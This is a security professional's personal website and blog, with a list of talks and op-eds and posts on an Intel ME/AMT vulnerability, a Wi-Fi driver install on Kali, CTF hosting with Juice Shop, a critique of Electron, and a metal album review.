Eivind Arvesen Blog RSS Feed

About

I am a man with a passion for technology and the way it affects society. Some of my fields of interest include security, privacy, the web, machine learning, human–computer interaction and programming ethics.

I currently work as Group Cyber Security Manager at Sector Alarm.
Previously, I've held roles such as tech lead, senior software developer and architect, head of security competency group, security champion, privacy resource and advisor.
My Master's project was focused on using machine learning to automatically classify Alzheimer's disease in MRI.

I specialize in security and privacy, and dabble in pentesting (I'm currently working towards my OSCP). In my spare time, I compete in CTFs, write op-eds, and contribute to open source.
In early 2020 I was part of an independent expert panel tasked with evaluating security and privacy in the Norwegian COVID-19 app.

I'm a regular public speaker, and have often taught infosec and appsec. I've worked both in-house as well as a consultant, in both public and private sector organizations.
I'm also involved in my local OWASP Chapter.

IRL

Scheduled talks and appearances

Title	Event	Time	Materials
Privacy Design Flaws	JavaZone 2022	Sept. 8th 2022	Slides, Video
Privacy Design Flaws	PEPR '22 (2022 USENIX Conference on Privacy Engineering Practice and Respect)	Jun. 23rd 2022	Slides, Video
If at first you don’t succeed: Norway's two contact tracing apps	PEPR 2021 (Conference on Privacy Engineering Practice And Respect)	Jun. 11th 2021	Slides, Video
Norway’s COVID-19 app	How to get People to use Contact Tracing Apps – Amsterdam Smart City)	Sep. 3rd 2020	Slides, Video
The Norwegian Blue: A lesson in Privacy Engineering	Crypto & Privacy Village: Glitched (at DEF CON 28: SAFE MODE)	Aug. 7th 2020	Slides, Video
Browser Fingerprinting: Stalking with a Personal Touch	NDC Oslo 2020	Jun. 12th 2020	Slides, Video
It's 10 PM. Do you know where your segments are?	JavaZone 2019	Sep. 11th 2019	Slides, Video
	itDAGENE 2019	Sep. 9th 2019
Introduction	Hacktoberfest 2018 – Oslo	Oct. 26th 2018	Slides
LEAN-machine: Målbaserte utviklingsprosjekter (Norwegian)	InnoTeam: Project Leadership - SAP User Group Norway	Apr. 23rd 2018	Slides, Video
DevOps og Lean Startup: Eksempler fra virkeligheten (Norwegian)	Hva er DevOps?	Mar. 2nd 2018	Slides
A/B Testing with React	ReactJS Oslo Meetup	Dec. 14th 2017	Slides, Video

Published writings

Personvern: Den brysomme menneskeretten (Norwegian), October 6th 2022
Vilkårlig politiovervåkning undergraver befolkningens tillit (Norwegian), January 4th 2022
En leksjon i innebygd personvern (Norwegian), May 5th 2021
Ekspertforakt og historieforfalskning i personverndebatten (Norwegian), April 19th 2021
– E-sjefen tviholder på skylappene (Norwegian), March 21st 2021
Personvernverstingen Norge? (Norwegian), October 20th 2020
Demokrati er viktigere enn etterretning (Norwegian), June 17th 2020
Vi fortjener en bedre etteretningslov (Norwegian), May 12th 2020
Grenseløst forsvar: – Ureflektert om personvern av Lysne (Norwegian), March 3rd 2020
- Det er ingen kontroll på persondata (Norwegian), January 24th 2020
Buttplug-hacking og andre høydepunkter fra DEF CON (Norwegian), September 4th 2019
Frykt og avsky i Cyberspace (Norwegian), August 22th 2019
Digitalt grenseforsvar – Samfunnet behøver personvern (Norwegian), April 2nd 2019
Regjeringens forklaringsproblem (Norwegian), February 18th 2019
Ubalanse mellom sikkerhetsillusjoner og personvern (Norwegian), December 27th 2018
Digitalt grensebesvær (Norwegian), November 28th 2018

Documents

DND sitt høringssvar: "Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon" (Norwegian) PDF January 7th 2022
EFN sitt høringssvar: "Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon" (Norwegian) PDF January 7th 2022
Tekna sitt høringssvar: "Høring - Endringer i politiloven og politiregisterloven mv. – PSTs etterretningsoppdrag og behandling av åpent tilgjengelig informasjon" (Norwegian) PDF January 5th 2022 – Tekna's hearing statement: "Hearing – Amendments to the Police Act and the Police Register Act, etc. - PST's intelligence mission and processing of openly available information"
Risikovurdering Av Koronasertifikat, Trinn 4., Risk assessment of Corona Certificate, Step 4, June 24th 2021 [PDF] (Norwegian)
Endelig rapport for kildekodegjennomgang av løsning for digital smittesporing av koronaviruset, Final public report on Norwegian contact tracing app, May 20th 2020 [PDF] (Norwegian)
Foreløpig rapport for kildekodegjennomgang av løsning for digital smittesporing av koronaviruset, Preliminary public report on Norwegian contact tracing app, April 10th 2020 [PDF] (Norwegian)
Neural Network Tools: An Overview, For use in the Masters course in Machine Learning at HIOF, March 17th 2015 [Paper]

In the Media

Historien om Smittestopp, fra innsida: - Personvern handler om tekniske valg (Norwegian), August 30th 2022
Du kan spores i det skjulte av hodetelefonene dine (Norwegian), September 2nd 2021
IT-eksperter kritiske til renterobot (Norwegian), April 17th 2021
COVID contact tracing apps bring privacy pitfalls around the world, August 8th 2020
Norway’s coronavirus tracing app halted by Data Protection Authority – too invasive and not useful, June 16th 2020
Eksperter innen teknologi, sikkerhet og personvern har signert opprop mot e-loven (Norwegian), June 10th 2020
De kjemper mot den nye masselagringsloven (Norwegian), June 10th 2020
Experts find privacy and security issues in Norwegian contact tracing app, May 20th 2020
Skal gjennomgå kildekoden til smittesporings-app fra FHI (Norwegian), April 8th 2020
Ekspertgruppe skal gå gjennom kildekoden i ny app for smittesporing (Norwegian), April 8th 2020
Vil vise vei i utelivet (Norwegian), July 27th 2012

Various presentations

AppSec 101, Customer Training, November 7th 2019 [Slides]
Cleave (Norwegian), Bouvet One, October 30th 2019 [Slides]
WarGames (Norwegian), Bouvet One, October 30th 2019 [Slides]
Introduction, Hacktoberfest 2019 – Oslo, October 18th 2019 [Slides]
Hypotese- og Måldrevet Utvikling (Norwegian), Bouvet Customer Workshop, September 5th 2019 [Slides]
WarGames (Norwegian), Bouvet One, November 1st 2018 [Slides]
GDPR og Sletting – Hvor går grensen? (Norwegian), Bouvet One, November 1st 2018 [Slides]
Crash Course in Open Source, Hacktoberfest 2018 – Oslo, October 26th 2018 [Slides]
Web Security and Capture the Flag, Bouvet Play, September 8th 2018 [Slides]
React and Redux – A Workshop, Bouvet Workshop, August 23 2018, September 5 2018, September 20th 2018 [Slides]
Electron is bad and you should feel bad (Norwegian), Bouvet One, March 22nd 2018 [Slides]
Lean Machine: Målbasert utvikling (Norwegian), Bouvet One, March 22nd 2018 [Slides]
Go f**k yourself: How deepfakes ruined everything (Norwegian), Bouvet One, March 22nd 2018 [Slides, Video]
Hypotese- og Målbasert Utvikling (Norwegian), Bouvet Fagfrokost, November 22nd 2017 [Slides]
Transfer Learning: Gjenbruk av kunnskap i Maskinlæringsmodeller (Norwegian), Bouvet One, October 18th 2017 [Slides]

Deathflix

Turns out Netflix is making a westernized English language adaptation of the hugely popular manga (and later anime series) Death Note, which will be released on August 25th.

For those that don't know, Death Note is basically a psychological thriller about japanese teenager Light Yagami, who comes across a notebook that was dropped into this world by a shinigami (death god) called Ryuk.

Discovering that the notebook kills anybody whose name is written in it, Light starts to see himself as a god and tries to create his idea of a perfect world by killing those he deems unworthy (e.g. criminals). Under the pseudonym Kira (derived from the Japanese pronunciation of the word "killer"), he starts to communicate to the public about his actions and intentions, and is soon investigated and hunted by authorities.

Apparently, this movie will be set in Seattle and feature a predominantly white cast - presumably in an attempt to appeal to western audiences - and feature Nat Wolff as Light Turner (née Yagami).

Much like the upcoming live action Ghost in the Shell movie, it's in hot water even before its release.

There is a already a petition to boycot the film over its alleged whitewashing, with just below 14 000 signatories at present.

I for one hope this doesn't just turn into a "gritty" reboot-o-rama with a semi-industrial soundtrack and bass drop-centered slow-mo action sequences featuring an edgy emo kid - ignoring the moral and intellectual themes of the source material.

Willem Dafoe will probably be awesome as the voice of Ryuk, though.

JavaZone, baby!

Just as I got back home from running the Holmenkollen relay race with our team from work this past saturday, I checked my email – to find out that my lightning talk was accepted to this years JavaZone!

JavaZone, if you don't know, is the largest software development conference in Norway.

I will be speaking about something I explored once or twice last year: GDPR and append-only storage.

I'm very much looking forward to experience JavaZone – both as an attendee, and as a speaker.

Getting Alfa AWUS036ACH up and running on Kali

Last night, I finally got my Alfa AWUS036ACH up and rolling on Kali 2019.4 running in Virtualbox.

Here's a very short how-to:

Plug in your NIC
Open the settings for your Kali VM
- Go to "Ports" => "USB"; Select "USB 3.0"
- Click the Icon with a plus-sign on it, and add the "Realtek 802.11n NIC" filter
Start your Kali VM
Run git clone -b v5.6.4.2 https://github.com/aircrack-ng/rtl8812au.git to clone drivers from the aircrack-ng project for the rtl8812au-chipset, and navigate into the folder using cd rtl8812au
Run sudo ./dkms-install.sh to install the driver via dkms.

That was it.

For more information, check the README for the driver.

Create React App 3 is out!

Having developed with React for a while, and having used create-react-app to scaffold a few projects, I decided to check out the project's issues a little while back.

Two weeks ago, version 3.0.0 was released, to which I contributed support for React Hooks.

I have to say, it feels pretty good to finally contribute something back to the React-ecosystem.

Platinum Chip

A short update to my last post about Intel ME:

Microsoft has recently reported that a hacker group known as Platinum has been able to exploit AMT's Serial-over-LAN (SOL) feature to transfer malware payloads on local networks.

According to the Register, Infected systems can also communicate with other machines over LAN via any physical connection - regardless of the host machine's networking status, as a consequence of AMT's remote management features - and could possibly also enable an exploitable subset og AMT on other machines in order to exploit them.

Microsoft and Intel said that "this isn’t a vulnerability in AMT, but an abuse of its capabilities", according to Threatpost.

Introducing Cleave

Ever since solving a similar problem on the terminal a few years back, I kept wanting to explicitly change working context, keeping application states between whatever tasks I was working on.

So I built an application to solve it for me.

Cleave.

Cleave attempts to solve this by allowing you save and load "context" in macOS, in a manner similar to how IDEs and text editors lets you manipulate "projects" and "workspaces". These actions are available via a global hotkey that triggers the command palette, or via the menu bar.

The open beta will be out this autumn.

Hopefully, I'll get around to documenting the journey some time soon...

A few thoughts about Electron

Some of the modern JavaScript-tools have democratized coding - for better and for worse. This, as much other democratization of technology and media, has enabled those that previously lacked resources (as in time, specialized knowledge and/or currency) with a means of production. On the other hand, this also lowers the bar in a sense - more software is produced in total, but it also enables low-quality and/or inefficient software to be produced.

People that previously never would have been able to make software/a desktop app can now do this - which is arguably both good and bad.

As increasingly more software is built using web-technologies - bringing with it the ridiculous state of modern web development, with it's crazy tooling complexity, enourmous dependency chains and swollen size - the impact is felt everywhere, including on platforms such as desktops and smartphones.

This ain't your daddy's desktop application

Though the use of the term is questionable in this context, the idea of using web technologies to build "native" applications is nothing new - at least when it comes to the GUI specifically. Please note that these are not native applications in the true sense of the word - a commonly accepted definition is applications which are programmed using platform (e.g. macOS or Windows) APIs, thus being first-class citizens.

The Qt-toolkit comes with the WebKit engine embedded, in the form of QtWebKit - which enables developers leveraging Qt to display content in a web view. Google Earth is made using QtWebKit.

There is also the Chromium Embedded Framework (CEF), which allows applications to embed the Chromium runtime directly. Spotify, among others, is built upon CEF.

Then, during their work on Atom (a text editor written with web technologies, of all things), GitHub produced and released Electron - which brings the entire mess to the desktop. Essentially, Electron consists of a Node (JS) runtime and an embedded Chromium instance, as well as platform integration features like access to the filesystem.

So what?

Proponents of Electron point out that it allows webdevs to leverage their familiarity with web technology, possibly share code with their web apps, and produce cross-platform applications. Admittedly, this does make (cross-platform) application development less prohibitive with regards to resources (i.e. time, cost, expertise). But this lowering of the bar to entry will in some cases lead to lowered quality software.

As you might imagine, Electron is known to have a significant impact on battery life/power usage - it embeds a copy of an entire web-browser, for goodness' sake!

Web-based UIs do allow cross-platform interface design, but you end up with a free-form UI that doesn't look or feel native on any platform - even though some proponents claim that beautiful cross-platform UIs is one of Electrons upsides.

It also provides bad integration with the underlying platform: as applications use a web view for their UI rather than native widgets, they lose accessibility features. What's particularily worring about this is that when I've had the opportunity to ask developers on projects that use web view based GUIs what their appliations' accesibility is like, none of them have known; Users with accesibility-needs are effectively left out.

What we're left with is essentially less accessible, less efficient, more power-hungry software with worse platform integration - just because some people and organizations can't be bothered to use the appropriate tools for the job.

Pointing this out might be met with accusations of elitism - but gatekeepers and/or barriers to entry might actually have useful functions in some cases.

I've often seen people defend using the usual web stack to implement a UI, saying that it allows them to be more efficient, but it's not unreasonable to suspect that the only reason they claim this is because they already know the web stack.

I'm all for enabling people to make software - but if it comes at the expense of my (or the planet's) resources, I'd rather have quality than quantity.

This is just ridiculous

It's as if some developers are OK with application efficiency decreasing faster than hardware efficiency is increasing.

Just the other day, I experienced Safari reloading my Facebook tab as I was trying to read through greetings I had received on my birthday, stating that the tab was using too much too many resources. It's bad enough to have this happen on a webpage, but I cringe at the thought of this infecting the desktop as well…

Just a month ago, Atom needed 845MB to open a 6MB XML file; Even worse, some people argue that this isn't a problem.

There's also the case of Slack, worth $5B, and their infamous Electron app, about which Joseph Gentle wrote a piece called "Electron is Flash for the desktop".

In fact, off the top of my head, the only Electron app that doesn't obviously suck is Visual Studio Code - excluding stuff like Franz, which really only embeds tabs that display websites.

I think the HN user Veen is onto something when they say:

What you call "trade-offs" appears to me to be developers externalizing their costs onto users. There are costs to developing desktop applications and developers don't want to pay them, so they make users pay for them in wasted hardware dollars, bandwidth, RAM, battery life, and poor integration.

Essentially, lazy devs are trading developer time for user time and battery time.

There's also a slew of other fun stuff, such as:

"Helper"-processes
The often required restarts
Large download sizes; often large updates (because not many developer make delta updates, for some reason)
Slow startup
General slowness/unresponsiveness

In conclusion

~~Electron enables lazy people to make garbage~~

In my experience, Electron apps tend to be bloated and not very performant or energy inefficient. This means that developers make a choice regarding users' disk space, user experience and battery life. The extent to which users notice any of this is of course dependent on a combination of their machine (e.g. old/new hardware, laptop/desktop) and the application being run.

Also, since you don't use the platform's native widgets, there's poor accessibility for users with special needs - not to mention the implications (HCI-wise) of redefining and replacing standard interface elements.

It's one of the slowest, least memory efficient, and most inelegant GUI application platforms out there - bundling an entire web browser just to provide portable GUI functionality.

Electron allows developers to make desktop software in a weird, roundabout way in order to pander to people and organizations that can't be bothered to learn something other than web technology or to use efficient tech for reasons like laziness and budget/time constraints. It's easy to use, but it's not a good solution.

This state of "modern" desktop application development is, frankly, embarrassing. It reveals incompetency, whether on the level of applying programming knowledge or reasoning.

In my opinion, all this reeks of poor design, and is arguably (in some cases) downright user-hostile and unethical.

And to portray software produced in this way as "native" is, frankly, ridiculous.

That's not to say there aren't legitimate use cases for this type of technology, though: The main thing Electron does well is lower the barrier to entry and maybe increase development speed. This makes it suited for quick prototypes, internal applications and educational settings.

The markdown editor I use to write my blogposts, for instance, renders the content as inline preview/WYSIWYG. This is one use case where web technologies are uniquely suited for the task.

But since the technology is so resource-intensive, developers should ask themselves:

Does this application really need to be created in Electron?
- Why?

Additionally, we should also consider what the global energy impact and carbon footprint of these inefficient applications is...

Presentation about Transfer Learning

Last week I did a presenation at an internal conference at Bouvet, where I work, about how transfer learning in some cases could help achieve better performance for machine learning models faster and cheaper, using less data and processing power.

You can find my slides here (PDF, Norwegian).

Very simplified, transfer learning is about exploiting the fact that deep neural networks learn generic information in early layers, which is then built upon hierarchically in later layers that learn increasingly more specialized knowledge. This means that one can strip away the most specialized layers, keep the "general knowledge" from earlier layers, and use this to learn new specialized knowledge on previously unseen data - provided that the problem the original model was trained for and the new problem are somewhat similar.

As part of the presentation, I demoed how transfer learning could easily be applied using TensorFlow and a pretrained model (Inception v3), creating a classifier that could identify various humanoid species from the Star Trek universe.

The original pretrained model had learned to classify 1000 clases from ImageNet, from tens of thousands examples from each class (like "umbrella", "cheeta", "space shuttle", etc.) over a period of two weeks, running on a cluster 50 NVIDIA Kepler GPUs - achieving a "top-5 error rate" ("how often the model fails to predict the correct answer as one of their top 5 guesses") of 3.46%.

Using transfer learning, my Star Trek Humanoid classifier achieved an accuracy between about 79 and 95 percentage after about five and a half minutes on my laptop's CPU - without even spending any time tweaking hyperparameters.

The code I demonstrated in a notebook (plus a PDF of the presentation) is available here.

Edit

The presentation and notebook linked to in this post has been updated slightly, as I held an updated version of this presentation at a department meeting at Bouvet.

Intel ME

Ever since around 2008, Intel processors have included something called the Intel Management Engine (ME) - a subsystem which is completely independent from the user's main CPU, but which has unrestricted access to all system resources. This includes access to the host OS, RAM, and cryptography engine.

Intel ME runs on a dedicated processor, and it can be active even when the computer is hibernating or is turned off. It also has its own dedicated network connection, as it intercepts packages from the integrated network interface controller.

There is also a software component called Intel Active Management Technology (AMT), which allows remote control on the ME, which Intel claims is usually disabled by default on "consumer hardware" (as it is only a part of the vPro collection).

This technology entails some fairly obvious risks and issues, as pointed out in critiques by TechRepublic, the Free Software Foundation, the coreboot project.

While ME has been widely discussed for quite some time amongst security- and/or privacy-minded technologists, it's reasonable to assume that most end-users have litte to no knowledge of the technology.

The good

This technology allows large organizations to remotely control/manage their fleet of computing devices.

Typical legitimate use cases for Intel ME and AMT includes provisioning, configuring, monitoring, installing and upgrading. The technology also includes anti-theft functionality like locking down the machine and encrypting hard drives.

It enables this even on remote devices (as ME manages its own network connection), e.g. via company VPN (making the device available on the company network).

The bad

Intel ME cannot be disabled, though there are several projects with limited success and/or limited support for different processor architectures.

Anyone with access to it can access the computer in question - even when it's powered off (in the case of workstations) or hibernating - provided it is connected to a power source, like a mains or a laptop battery.

Unsurprisingly, Intel ME's firmware is closed source, and its software is encrypted on the device. As a consequence, users have no idea what their device is up to - they arguably do not have control over their own computer. The only insight people have as to how the technology actually works comes from reverse-engineering efforts like those described by Igor Skochinsky in these slides (PDF available here).

All of this introduces several layers of trust that users just have to accept - all of which, of course, could theoretically be misused by any malignity in the hierarchy or possibly be breached (e.g. via hacking or social engineering):

State actors (some of which have a track record of intercepting and tampering with hardware and software)
Intel
The technology behind the solution
Hardware manufacturers
OEMs/Resellers
Retailers and vendors
(Employers)

In addition to this, versions since ME 7.1 has included a Dynamic Application Loader (an embedded JVM), which enables uploading and running software (applets) on ME dynamically.

While there is no way to completely disable ME, Intel claims users can disable AMT features via BIOS settings - but these features are implemented differently by different OEMs, and some BIOS settings may be inaccessible or hard to find. In reality, though, there is really no way to know for certain if and to what extent the software is truly disabled, as users have no way of inspecting what goes on in the ME.

The ugly

Not only is this a problem of principles, nor only a theoretical threat or an act of user-hostility;

On May 1st, Intel revealed that AMT contains a critical security vulnerability (technical document detailing the escalation of privilege vulnerability courtesy of Embedi Security available here). It concerns CPUs with Intel ME, on motherboards that support Intel VPro. This means that a huge number of computers are wide open for attack by adversaries that posess some modicum of technical sophistication. But the bar - let's face it - really isn't that high any more, what with Metasploit and other, more specialiced pre-packaged exploits. In fact, there is already a module for Metasploit that attempts to bypass AMT authentication.

Intel claims the exploit doesn’t affect consumer chips - only machines with vPro present and AMT enabled and provisioned. However, Charlie Demerjian of SemiAccurate claims that there also exists a local exploit, through which attackers could provision and enable AMT over the network - though he admits this would be very hard (as in on the level of state/nation actors).

Even worse, the guys over at SemiAccurate claim to have told Intel about this vulnerability years ago, in addition to a second, less severe, local exploit in Intel's Local Manageability Service (LMS), which also runs on the ME.

This remotely exploitable security hole affects all Intel processors from Nehalem (2008) to Kaby Lake (2017). The vulnerability can only be mitigated via a firmware-update, which manufacturers have to develop (HP, Dell, Fujitsu and others have already done this).

Many of the affected machines are no longer supported (as they are out of warranty), and will thus not be receiving firmware updates from their manufacturers. Supported machines will need some manual intervention both when updates are available and in the mean time, though.

Additionally, this may also affect firewalls, servers, other embedded devices, and medical equipment - the latter of which really don't need more trouble after the recent WannaCry ransomware attack.

In practice, an attacker would only need to gain access to a network that a device of interest is connected to in order to use the exploit. One must also assume that the vulnerability has been exploited in the wild by now.

Of course, critics of the technology have been warning about this sort of thing for years - and are saying the same things yet again.

Conclusion

To sum it all up: Intel provides a backdoor to its products by default - and now it's been hacked.

Some may argue that these technologies are great since they enable easier IT-administration - but others may argue that the way they are currently implemented carries with it huge implications for security and privacy. And in all fairness, it shouldn't be a big deal to allow customers and users to make a choice themselves as to whether they want the engine itself enabled or not.

In case you were wondering, AMD and ARM have similar subsystems in the form of Platform Security Processor (PSP) and TrustZone, respectively.

Also worth noting is that this sort of thing is (and always has been) the case with every cellphone as well.

Two things are for certain, though:

This is all pretty dumb, considering the obvious dangers of the implementation (and all the critique it has been the subject of)
It plays right into the narrative of the tinfoil hat brigade

TLDR

If you don't have

An Intel CPU from between 2008 and 2017
A motherboard that supports Intel VPro
Intel AMT-enabled network hardware
A computer with Intel AMT enabled and provisioned

you should be fine.

The basics are beautifully summed up by Matthew Garrett here.

#####P.S.

There are some reasonable objections to raise with regards to Intel ME, though.

Also: Betteridge's law of headlines.

ctfctl

I recently revisited my old CTF-related scripts in connection with hosting a private intro-CTF by way of OWASP Juice Shop at work.

Having limited time and available resources at hand, I decided to just use Heroku for deployment. We wouldn't be limited by only using the free-tier, as our competition would only run for a couple of hours.

In order to make everything fully automatable, I forked CTFd in order to get it running on Heroku, and expanded upon my previous naive implementation to spin up client (Juice Shop) instances. I also hacked together a random name-generator for the instances.

The workflow is as follows:

Generate a new (random) key for your CTF
- Automated with ctfctl config
Go to my CTFd-fork, and click the "Deploy to Heroku"-button
Update variables in ctfctl to reflect URL of your CTFd-instance, and a prefix of your choice for URLs.
Import the zip-file that was generated for you on your CTFd-instance
Spin up Juice Shop instances on Heroku
- Automated with ctfctl start <number-of-instances>
  - This will unfortunately take up to 10 min. per instance, as each instance also has to build on Heroku as of now...
(A file teams.txt will be created, containing a list of all instance names. Any given instance can be accessed at the URL https://<PREFIX>-<INSTANCE>.herokuapp.com)
In order to not have the Heroku-apps die, ping your scoreboard and every JuiceShop instance every 15 mins.
- Automated with ctfctl keepup (alternatively ctfctrl scoreboard to just ping the scoreboard)
Tell your contestants to go to the CTF Intro Startpage, which contains helpful hints for first-timers
- Fork and tweak this for your event
When it's all over, bring down all client instances
- Automated with ctfctl stop
Delete the CTFd instance manually on Heroku

It's still not ideal, so I'm hoping I have time to write a fully automated way to bring up a generalized CTF-setup using Kubernetes and Docker-images or somesuch next year.

Some alternatives to Electron

I recently got an email from someone who had read my old rant about some of the downsides of Electron, who wondered if I could recommend any alternatives.

This post is a short summation of my response.

In short: For GUIs, I'd recommend wxWidgets / Qt – alternatively LibUI, or possibly even React Native.

In general, I think it’s kind of hard to recommend an alternative without knowing any specific project requirements – for instance whether JavaScript is a must (if so: why? though this may be another question...)

My first thought would be to use something like wxWidgets or LibUI – both of which wrap the native platform widgets, and thereby give you stuff like deep accessibility-integration for free.

After these I’d look at maybe Qt, which is also pretty easy to use, but (from what I understand) implements its own widgets, attempting to support whatever native platform look-and-feel.

There are good bindings for all of these frameworks for most popular languages.

If one really have to use JS for writing a desktop-application, there’s for instance libui-node (LibUI) or nodegui (Qt), alternatively proton-native (React-environment) or vuido (Vue-environment) if you’re partial to any particular UI-toolkit convention.

Finally, if you have to reuse webapp-code, something like Neutralino (which wraps the system's own web browser) may be of less resource-heavy than embedding its own Chromium-runtime (which is what Electron does). This should also eliminate the need for developers to upgrade the embedded browser (Chromium/Electron) to get security-patches, as the user's own OS-supplied browser would handle this – provided that the user keeps this up to date, of course.

The order above is more or less the order I’d rank the alternatives in as well.

Additionally, there’s an «awesome»-style GitHub-repo full of links here.

Emperor of Sand

Mastodon's latest album Emperor of Sand has taken the place that Dillinger Escape Plan's Dissociation had in my life last year; I've been listening to it non-stop since its release on March 31.

The first single off the record, "Show Yourself", is typical single-material, but not typical Mastodon-material: it's uncharacteristically straightforward and accessible. Though it seems like an extention of what the band pulled with High Road (off 2014's Once More 'Round the Sun) and Curl of the Burl (off 2011's The Hunter), this move worried some long time fans - including myself - who feared Mastodon were going for a more commercial sound.

In reality, it seems Mastodon is continuing to expand their repertoire. Constantly changing, they've yet to release a bad record in my opinion.

Drummer Brann Dailor really shows of his singing chops on this record, which just keep getting better. This does come at the further expense of the barrage of complicated fills that used to be just about everywhere. However, Mastodon has been on a trajectory towards a more traditional sound - which could be described as creepy classic rock meets prog meets heavy metal - ever since 2009's Crack the Skye, so this isn't completely unexpected. He does rock out with various percussion at many places throughout the record, though.

On another note, Emperor of Sand sees a return to story-driven concept-album, the last of which was three records ago. Previous records in this vein include:

Leviathan: About Herman Melville's classic novel Moby Dick
Blood Mountain: A psychedellic climb atop a mountain that holds a crystal skull
Crack the Skye: an homage to drummer Brann Dailor's sister, who took her own life at fourteen, dealing with a paraplegic who astral travels and gets stuck in the spirit realm - only to seek help from cultists in tsarist Russia, including Rasputin himself.

Inspired by cancer diagnoses and deaths in the lives of several of the band members, the record is a sort of reflection on mortality, where story can be seen as a metaphor for the journey of a cancer patient.

The band used producer Brendan O'Brien, who also produced Crack the Skye, which is particularly evident in a few of the full, almost pad-sounding, three-part harmonies in some of the choruses.

Album opener "Sultan's Curse" is reminiscent of "Black Tongue" and "High Road" off of the band's previous two albums in that it contains many elements that are typical of the band - but still fresh, as well as accessible for newcomers.

One of the record's highlights is an extremely groovy track called "Steambreather". The song is surprisingly downbeat and technically uncomplicated, which is not to say it's uneventful - the small flourishes here and there are really cool.

Another highlight is when the first powerful chorus of "Ancient Kingdom" transitions to a blistering, yet tasteful solo courtesy of Brent Hinds - or the dirtiest of all the B-Hindses, as he refers to himself.

The album closer, Jaguar God, is SO GOOD. Opening almost ballad-like, it showcases a previously unheard mellow side of Brent Hinds, before going off the rails and barreling into a 70s prog-type thing with some Ghost-like melodic features.

Though I feel that Brent Hinds is getting a bit sloppy (and I emphasize "a bit" yet again), with some of the more obviously improvised solos suffering from poor timing on a few notes here and there. I also think it sounds like there's a bit of recycling of old licks and phrasings going on in a few places.

All in all, Emperor of Sand is a great record. Though the album is not as technically challenging as their earlier work, it's an uncompromising and focused effort - and in my opinion the most interesting record Mastodon has released since Crack the Skye.

Update Sept. 7th 2017

In the vein of some of their earlier videos, featuring puppet nightmares and the psychedelic adventures of a cat, Mastodon recently released a hilarious video for Steambreather:

Hypothesis- and Goal-Driven Development

Wednesday morning about two weeks ago I held a breakfast presentation with my colleague, Lars Dølvik, about the development process that our team utilizes in our work on a web application for one of our major clients. Our redacted slides are available here (PDF, Norwegian).

Edit: _A slightly rewritten version this of post is now available in Norwegian on Bouvet's official blog. _

Our process essentially follows a form of Lean Startup methodology, which makes it all about eliminating waste (i.e. effectivizing the development cycle). In our case, we attempt to do this via testable hypotheses, iterative work on the solution and validated learning. There's also elements from Goal-Driven Software Development Process and DevOps.

For a short intro to Lean vs. Agile in the context of software development, see this post by Abby Fichtner.

The project

Lars and I entered the picture earlier this year, taking over continued development, administration and operations of the solution.

Our project is approved by the customer for a period of three months at a time, basically in the form of "X consultants will work on the solution during this period, Y of which are devlopers" and so forth.

We use an agile process, where we focus on results rather than a specified (specced) delivery – somebody else's, maybe even someone non-technical, interpretation of what is needed – which enables us to meet the customer's needs to a larger extent. On the technical side our pipeline involves the usual agile stuff like reproducible dev-environments in Docker, Git Flow-style branches, linters, continuous integration via Jenkins and deployment via Kubernetes on the Google Cloud Platform.

We also have weekly demo meetings, where we go over the latest data to see whether or not we've reached our goals and prioritize our backlog.

All of this enables us to change fast as a consequence of the shortened way from idea to product. Naturally, this works well with our focus on MVPs and launching early to iterate over the solution.

This way of working is very inspirational as a developer; The collaborative decision making processes affords me more big-picture insights, and the process makes it easy to see (and understand) how my contributions affect the totality of the application.

The outline of this way of working is: Test your hypotheses (as to how to reach your goals) and fail fast if need be, so that you don't expend resources on actions that do not make the product better. This inspires creativity, and leads to lowered risks and costs for the customer.

In our case, this is all made possible by a good relationship with our customer, from which we enjoy a great deal of trust – which gives us the freedom to work according to these parameters. The process also depends upon good communications between stakeholders, such as the project owner, and the members of the development team, like developers, designers, analysts and project leaders.

The development cycle

During our cycle we plan, measure and document in order to achieve our specified goals. We use the data we collect to track and test our changes in order to assure that our changes are for the better of the product, i.e. that we achieve our goals.

We work according to three levels of goals (decisions);

Strategic goal (the customer's overall goal: between 10 and 20 KPIs, e.g. elevate reputation)
Tactical goal (the product owner's goal via strategy to achieve the strategic goal, e.g. achieve a high Google ranking to assure more organic traffic)
Operational goal (measure effect from our actions towards the tactical goal, e.g. optimize images to reduce load time)

This demands good communication and flow of information.

We measure and learn from what we make, in an effort to make the solution better. The point is that our hypotheses and our thoughts are only assumptions – which we verify as theories via measurements (empricism), and so on.

The steps of our development cycle include:

Identify tactical goal

We and/or the customer identify a goal, e.g. to make visitors stay longer on the site - not return to Google.

Action

Something we can do in an attempt to reach our goal, e.g. to add another level to the breadcrumbs on content pages.

Hypothesis

The reason for performing our action; why we think that the action in question will work (achieve the results we want), e.g. making more related content from the same category available, the user's will have alternative paths to explore.

Measure

How we measure the effect of our action; identifying what a successful experiment would look like, e.g. more page views and/or an increase in time spent per visit.

Here we will need to plan our launch date, and possibly collect a grounds for comparison (data) if we don't continually compare with the "original" version of the site. We will also need to define a time frame for comparison.

Estimated effect

The kind of effect we think we will be able to see from our measurements, e.g. an increase in page views on the category pages.

Mindset

The only true wisdom is in knowing you know nothing.

Socrates – allegedly...

We need to embrace Socrates' enlightened ignorance; we don't know anything unless we've "proven" it via measurements – because only then we can substantiate our claims and assumptions with knowledge, in the form of data.

Don't expect the first change to meet your goals. Work strategically with small changes continuously. Document changes with numbers along the way, so that you have history and can learn from it. Ideally, you would do this in a central knowledge base, for instance via experiment reports.

Also: Measure the right things! Don't measure too many different things at once - this may make it difficult to separate the different factors and see what is really decisive.

It is important to have numbers from both before and after the change, or it will be difficult to see any resulting progress.

In our case, where we have defined page scrolling by using sections of vertically defined content, when we (litterally) prioritize something up something else is implicitly down-prioritized. Content priority is thus a zero-sum game – be aware of how singular changes affect the entirity!

Implementing tracking

In implementic tracking, it is important to follow a standard, structure events logically according to category, action, label, value, etc. and to document everything. In our case, we keep a spreadsheet of all our events (along with comments for explanations and technical details) so that anyone on the project team can look up any event at any time.

We also document every experiment on its own wiki page. Here we write down our hypothesis and action, allong with goals and any collected statistics. We also mention launch date and experiment plan, along with dates for data collection.

On our JIRA-board, we put a link to these pages in the relevant story-cards.

Interpreting the numbers

There are many potential pitfalls in trying to make sense of analytics.

There are three kinds of lies: lies, damned lies, and statistics.

Benjamin Disraeli, according to Mark Twain

